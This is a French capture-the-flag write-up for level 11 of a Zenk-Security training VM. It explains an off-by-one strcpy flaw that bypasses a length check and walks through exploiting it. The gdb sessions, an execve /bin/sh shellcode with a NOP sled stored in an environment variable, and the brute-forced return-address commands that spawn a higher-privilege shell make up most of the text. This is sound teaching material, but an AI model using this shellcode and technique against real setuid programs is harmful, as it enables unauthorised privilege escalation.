[Wargame] VmZenk1 - level11
Bonjour,
Hier soir j’ai attaqué la VM 1 de Zenk-Security, elle est assez aisée et accessible à tous.
Voici le write-ups du dernier challenge de la VM :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
int arg2size ;
char bufa[32];
int arg1size ;
char bufb[32];
if(argc != 3) {
printf("Usage : ./program arg1 arg2\n");
return -1 ;
}
arg1size = strlen(argv[1]);
arg2size = strlen(argv[2]);
if(arg1size > sizeof(bufa)){
printf("arg1 length should be less than 32 bytes\n");
return -1;
}
strcpy(bufa, argv[1]);
if(arg2size < sizeof(bufb)) {
printf("arg2 length sould be less than 32 bytes");
return -1 ;
}
strcpy(bufb, argv[2]);
return 0;
}
A première vu il n’est pas possible d’exploiter quoi que ce soit vu les vérifications de tailles effectuées sur les buffers données en entrées.
Le programme a malgré tout un défaut de taille : strcpy() recopie le zéro de fin, de ce fait on peut re-initialiser la taille de argv[2] (arg2size)à 0 grâce au premier strcpy() et ainsi bypasser le check. Vu qu’on ne re-écrit qu’un seul octet, la contrainte est de ne pas avoir un input dépassant 255 octets (ce qui est largement suffisant ici).
Il nous faut trouver en premier lieu l’offset d’EIP, on va utiliser les patterns metasploit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
level11@VmAppliZenk:~$ gdb -q ./level11
warning: not using untrusted file "/home/level11/.gdbinit"
(gdb) r `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`
Starting program: /home/level11/level11 `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`
Program received signal SIGSEGV, Segmentation fault.
0x08048524 in main ()
Current language: auto; currently asm
(gdb) i r
eax 0x0 0
ecx 0x41346341 1093952321
edx 0x51 81
ebx 0xb7fd8ff4 -1208119308
esp 0x4134633d 0x4134633d
ebp 0x63413563 0x63413563
esi 0x8048540 134513984
edi 0x8048390 134513552
eip 0x8048524 0x8048524 <main+224>
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Donc on contrôle ecx au bout de 72 octets. Esp est étrangement similaire à ECX. En regardant le code du main on peut comprendre pourquoi :
1
2
3
4
5
6
0x08048519 <main+213>: mov eax,DWORD PTR [ebp-0x58]
0x0804851c <main+216>: add esp,0x64
0x0804851f <main+219>: pop ecx
0x08048520 <main+220>: pop ebp
0x08048521 <main+221>: lea esp,[ecx-0x4]
0x08048524 <main+224>: ret
On a donc ESP = ECX - 4.
On va maintenant voir comment exploiter ça :).
Bon je vais utiliser les variables d’environnement pour que ce soit plus aisé à manipuler. On va créer une stack avec l’adresse de retour, ce sera utile pour “guesser” à peu près la valeur d’ESP et une variable d’environnement où on aura notre shellcode.
1
2
3
4
5
6
level11@VmAppliZenk:~$ export SC=`python -c 'print "\x90" * 10240 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level11@VmAppliZenk:~$ /tmp/getenv SC
SC is located at 0xbfffd753
level11@VmAppliZenk:~$ export CSTACK=`python -c 'print "\x60\xd7\xff\xbf" * 100'`
level11@VmAppliZenk:~$ /tmp/getenv CSTACK
CSTACK is located at 0xbfffd59c
Vous pouvez remarquer qu’on met plusieurs fois l’adresse du shellcode sur la stack, on a sûrement pas besoin d’autant mais vu que c’est une variable d’environnement … on a autant de place qu’on veut ;). Ces ret répétés vont permettre le guessing de l’ESP et ainsi avoir une marge d’erreur.
Maintenant qu’on a fini les préparatifs, let’s hack that app’ :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9c\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9d\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9e\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9f\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\xfc\xd5\xff\xbf"'`
sh-3.2$ id
uid=1011(level11) gid=1011(level11) euid=1012(level12) groups=1011(level11)
sh-3.2$ cat /home/level12/password
Le mot de passe est : ********
sh-3.2$ exit
exit
Pawned,
m_101